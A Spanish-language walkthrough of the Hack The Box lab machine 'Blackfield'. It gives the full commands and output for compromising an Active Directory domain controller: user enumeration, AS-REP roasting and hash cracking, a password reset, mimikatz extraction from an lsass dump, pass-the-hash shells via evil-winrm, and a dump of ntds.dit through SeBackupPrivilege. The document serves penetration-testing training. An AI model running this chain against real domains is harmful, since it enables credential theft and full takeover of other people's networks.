Host - IP

10.10.10.192

Ports & Services

Comenzamos lanzando un escaneo nmap:

```
53/tcp   open  domain?       syn-ack ttl 127
| fingerprint-strings:
|   DNSVersionBindReqTCP:
|     version
|_    bind
88/tcp   open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2020-07-08 07:36:01Z)
135/tcp  open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
389/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site:
Default-First-Site-Name)
445/tcp  open  microsoft-ds? syn-ack ttl 127
593/tcp  open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
3268/tcp open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site:
Default-First-Site-Name)
5985/tcp open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
```

Services

SMB

Enumerando SMB shares:

```
smbmap -u NULL -H 10.10.10.192
```

```
Disk                                                    Permissions     Comment
----                                                    -----------     -------
ADMIN$                                                  NO ACCESS       Remote Admin
C$                                                      NO ACCESS       Default share
forensic                                                NO ACCESS       Forensic / Audit share.
IPC$                                                    READ ONLY       Remote IPC
NETLOGON                                                NO ACCESS       Logon server share
profiles$                                               READ ONLY
SYSVOL                                                  NO ACCESS       Logon server share
```

Enumeramos el share profilies$

```
smbclient //10.10.10.192/profiles$
```

Encontramos numerosas carpetas vacías que parecen nombres de usuario.

```
AJaquemai       CAldhowaihi     ESariotti       JMoorehendrickson   LKrioua
AKlado          CArgyropolous   ETurgano        JPistachio          LLefebvre
AKoffenburger   CDufrasne       EWojtila        JScima              LLoeradeavilez
AKollolli       CGronk          FAlirezai       JSebaali            LMichoud
AKruppe         Chiucarello     FBaldwind       JShoenherr          LTindall
AKubale         Chiuccariello   FBroj           JShuselvt           LYturbe
ALamerz         CHoytal         FDeblaquire     KAmavisca           MArcynski
AMaceldon       CKijauskas      FDegeorgio      KAtolikian          MAthilakshmi
AMasalunga      CKolbo          FianLaginja     KBrokinn            MAttravanam
ANavay          CMakutenas      FLasokowski     KCockeril           MBrambini
ANesterova      CMorcillo       FPflum          KColtart            MHatziantoniou
ANeusse         CSchandall      FReffey         KCyster             MHoerauf
AOkleshen       CSelters        GaBelithe       KDorney             MKermarrec
APustulka       CTolmie         Gareld          KKoesno             MKillberg
ARotella        DCecere         GBatowski       KLangfur            MLapesh
ASanwardeker    DChintalapalli  GForshalger     KMahalik            MMakhsous
AShadaia        DCwilich        GGomane         KMasloch            MMerezio
ASischo         DGarbatiuc      GHisek          KMibach             MNaciri
ASpruce         DKemesies       GMaroufkhani    KParvankova         MShanmugarajah
ATakach         DMatuka         GMerewether     KPregnolato         MSichkar
```

Los almacenamos en un fichero para validarlos contra el servicio de kerberos

Kerberos

La validación contra el servicio de kerberos la haremos mediante la herramienta kerbrute (https://github.com/ropnop/-kerbrute)

```
kali@kali:/opt/kerbrute$ ./kerbrute userenum --dc 10.10.10.192 -d blackfield.local -t 5 /home/kali/htb/Blackfield/usernames/usernames.txt -o /home/kali/htb/Blackfield/kerbrute.txt

Version: v1.0.3 (9dad6e1) - 07/07/20 - Ronnie Flathers @ropnop

2020/07/07 21:46:12 >  Using KDC(s):
2020/07/07 21:46:12 >   10.10.10.192:88

2020/07/07 21:46:51 >  [+] VALID USERNAME:       audit2020@blackfield.local
2020/07/07 21:51:02 >  [+] VALID USERNAME:       support@blackfield.local
2020/07/07 21:51:05 >  [+] VALID USERNAME:       svc_backup@blackfield.local
2020/07/07 21:52:03 >  Done! Tested 315 usernames (3 valid) in 351.445 seconds
```

Obtenemos 3 usuarios válidos, con lo que deberemos tratar de encontrar las credenciales de alguno de ellos.

Para ello utilizaremos el módulo GetNPUsers.py del framework impacket (https://github.com/SecureAuthCorp/impacket). Solicitaremos TGTs para cada uno de los usuarios válidos y en caso de que alguno no tuviera activa la flag para requerir pre-autenticación, obtendremos un hash crackeable (mensaje AS_REP)

```
4. Request TGTs for users in a file

        GetNPUsers.py contoso.com/ -no-pass -usersfile users.txt

For this operation you don't need credentials.
```

```
kali@kali:/usr/share/doc/python3-impacket/examples$ python3 GetNPUsers.py blackfield.local/ -no-pass -usersfile ~/htb/Blackfield/usernames/domain_users.txt
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[-] User audit2020@blackfield.local doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$support@blackfield.local@BLACKFIELD.LOCAL:9faee28cad5bd8b0f873dab460f42d60$3cfb2dd1487bb1875e1eb9ef031e35096d4cccebb760ea88161ca9e48a20dd5382cc973be948e801b6ff05f568c43410e168ec2baeb78c9c2eaa2042d1523b52859d04ef5d39d54a6f6179a798920a56efdb6133ff99b66c676b7c888c047d0ba81e48edd54b80924338c4d0f4a286f0593a58ce0eeab4756c4c69db5e97121d275a4e3d070820bc4a0ba75aae8a822067a269f7ed4107f2ad494d2967def6d25dd8b8568e5913f66c1ec12b7da066d938f73f18e354dffb29cc5aff70376447929cac6fed0d7278da12a8e70316aaf2e3edcf46c9abbc0634fcfb777997edb570d90d12f53db9cdefdd597e0229f767667b39a3
[-] User svc_backup@blackfield.local doesn't have UF_DONT_REQUIRE_PREAUTH set
```

Mediante hashcat y el famoso diccionario rockyou, intentaremos crackear el hash obtenido:

hashcat -m 18200 --force -a 0 hashes.txt /home/kali/htb/dicts/rockyou.txt

```
kali@kali:~/htb/Blackfield/usernames$ hashcat -m 18200 --force -a 0 hashes.txt --show
$krb5asrep$23$support@blackfield.local@BLACKFIELD.LOCAL:3e231be7319b415aaa7fde8feaf0f299$647e57227be4e0c1b3ed917600dd8470b03ad21dcb26e6476db12b7207ec6f03eba774ec0e05b99a9535dcaca9838d48313163d799462a1849b4d061ccb67f179207b002e71f92ff37a7d1e5b196079dbf06cd06a0ab51020da2b301f9d1f849d123decf8965f917dbcefbd6274f382ce8301e7f54e683f49cd94ab1a8b0314a6aaffadb3554abb213856e83f4a1fd3e77d2846df23bb35ced9718ea1ce885277aa72314f5757da577f60634eeac2c22145e14c6793164161954391420624223c046b94bbf1a5799bd26ae7b09387ccaf3a062526f5d123071b5cc5dd7aa351c4ace74e785dfc696a6ecc922ae73bc29aedab:#00^BlackKnight
```

Ya tenemos un usuario y una contraseña válidos en el dominio.

rpcclient

Pasamos a enumerar rpcclient con las credenciales obtenidas para intentar obtener más información:

rpcclient 10.10.10.192 -U"support@blackfield.local"

Utilizando el comando “enumprivs” encontramos los privilegios que el usuario tiene sobre el dominio:

found 35 privileges

SeCreateTokenPrivilege 0:2 (0x0:0x2)
SeAssignPrimaryTokenPrivilege 0:3 (0x0:0x3)
SeLockMemoryPrivilege 0:4 (0x0:0x4)
SeIncreaseQuotaPrivilege 0:5 (0x0:0x5)
SeMachineAccountPrivilege 0:6 (0x0:0x6)
SeTcbPrivilege 0:7 (0x0:0x7)
SeSecurityPrivilege 0:8 (0x0:0x8)
SeTakeOwnershipPrivilege 0:9 (0x0:0x9)
SeLoadDriverPrivilege 0:10 (0x0:0xa)
SeSystemProfilePrivilege 0:11 (0x0:0xb)
SeSystemtimePrivilege 0:12 (0x0:0xc)
SeProfileSingleProcessPrivilege 0:13 (0x0:0xd)
SeIncreaseBasePriorityPrivilege 0:14 (0x0:0xe)
SeCreatePagefilePrivilege 0:15 (0x0:0xf)
SeCreatePermanentPrivilege 0:16 (0x0:0x10)
SeBackupPrivilege 0:17 (0x0:0x11)
SeRestorePrivilege 0:18 (0x0:0x12)
SeShutdownPrivilege 0:19 (0x0:0x13)
SeDebugPrivilege 0:20 (0x0:0x14)
SeAuditPrivilege 0:21 (0x0:0x15)
SeSystemEnvironmentPrivilege 0:22 (0x0:0x16)
SeChangeNotifyPrivilege 0:23 (0x0:0x17)
SeRemoteShutdownPrivilege 0:24 (0x0:0x18)
SeUndockPrivilege 0:25 (0x0:0x19)
SeSyncAgentPrivilege 0:26 (0x0:0x1a)
SeEnableDelegationPrivilege 0:27 (0x0:0x1b)
SeManageVolumePrivilege 0:28 (0x0:0x1c)
SeImpersonatePrivilege 0:29 (0x0:0x1d)
SeCreateGlobalPrivilege 0:30 (0x0:0x1e)
SeTrustedCredManAccessPrivilege 0:31 (0x0:0x1f)
SeRelabelPrivilege 0:32 (0x0:0x20)
SeIncreaseWorkingSetPrivilege 0:33 (0x0:0x21)
SeTimeZonePrivilege 0:34 (0x0:0x22)
SeCreateSymbolicLinkPrivilege 0:35 (0x0:0x23)
SeDelegateSessionUserImpersonatePrivilege 0:36 (0x0:0x24)

Comprobamos que tiene privilegios para poder cambiar la contraseña de otros usuarios que no tengan AdminCount =

1, por lo que procedemos a cambiar la contraseña del usuario audit2020.

Y volvemos a enumerar todos los servicios con las nuevas credenciales.

SMB as audit2020

Al enumerar el servicio SMB con las nuevas credenciales de audit2020, tenemos permisos de lectura sobre la share "forensic" donde encontramos un volcado de lsass que contiene credenciales extraíbles mediante mimikatz.

Al ser un fichero de gran tamaño, SMBClient arroja timeout todo el rato por lo que podemos montar la share forensic en nuestro sistema con mount -t cifs host/share /mnt/forensic -o user=username

La copiamos a una carpeta local, la descomprimimos y ejecutamos mimikatz desde una máquina windows.

mimikatz # sekurlsa::minidump lsass.DMP

mimikatz # sekurlsa::logonPasswords full

Y obtenemos todos los hashes de los usuarios que tenían credenciales en memoria, en este caso:

Username: Administrator
NTLM: 7f1e4ff8c6a8e6b6fcae2d9c0572cd62

Username: svc_backup
NTLM: 9658d1d1dcd9250115e2205d9f48400d

El usuario que tenía permisos para administración remota es svc_backup, por lo que intentaremos obtener una shell utilizando el hash extraído con la herramienta evil-winrm:

```
kali@kali:/opt/evil-winrm$ sudo ./evil-winrm.rb -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f4840
0d

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc_backup\Documents>
```

De esta manera obtenemos la flag de User:

```
*Evil-WinRM* PS C:\Users\svc_backup> cd Desktop
*Evil-WinRM* PS C:\Users\svc_backup\Desktop> ls


    Directory: C:\Users\svc_backup\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        7/7/2020  11:55 PM             34 user.txt
```

Post-Exploitation

Enumerando los privilegios del usuario svc_backup:

```
*Evil-WinRM* PS C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
```

Los privilegios interesantes para poder hacer una escalada son SeBackupPrivilege que otorga acceso de lectura a todos los ficheros del sistema saltando la ACL y SeRestorePrivilege que otorga permisos de escritura sobre todos los ficheros del sistema, con lo que podríamos acceder al registro para obtener el hash del Admin con el primer privilegio o modificar ficheros de sistema como dlls con el segundo.

https://book.hacktricks.xyz/windows/windows-local-privilege-escalation

Importamos las dll a la máquina windows que se pueden encontrar aquí (https://github.com/giuliano108/-SeBackupPrivilege) y las importamos a PowerShell.

Después hacemos una shadow copy de C. Para ello, generamos un fichero txt con los comandos a ejecutar finalizando cada línea con #:

```
set context persistent nowriters#
add volume c: alias new1#
create#
expose %new1% z:#
```

Transferimos el fichero a Windows y ejecutamos: cmd /c diskwhadow /s script.txt

Posteriormente, copiamos el fichero ntds.dit del shadow copy a la carpeta temporal donde tenemos permisos de escritura con `Copy-FileSeBackupPrivilege Z:/Windows/ntds/ntds.dit ntds.dit`

Hacemos una copia del fichero SAM y el fichero SYSTEM:
reg save HKLM\SYSTEM C:\tmp\system.hive
reg save HKLM\SAM C:\tmp\sam.hive

Pasamos los ficheros ntds.dit y system.hive a la máquina atacante y con secretsdump.py de impacket, los crackeamos.

secretsdump.py -ntds ntds.dit -sam sam.hive -system system.hive LOCAL

Y obtenemos todas las credenciales de los ficheros, en este caso nos interesa la de Administrator.

De nuevo utilizando evil-winrm con las credenciales de Admin, obtenemos una shell como Administrador y podemos leer la flag de root:

```
kali@kali:~/htb/Blackfield/exploits$ sudo ruby /opt/evil-winrm/evil-winrm.rb -i 10.10.10.192 -u Administrator -
H 184fb5e5178480be64824d4cd53b99ee

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir


    Directory: C:\Users\Administrator\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        2/28/2020   4:36 PM            447 notes.txt
-ar---         7/7/2020  11:55 PM             34 root.txt
```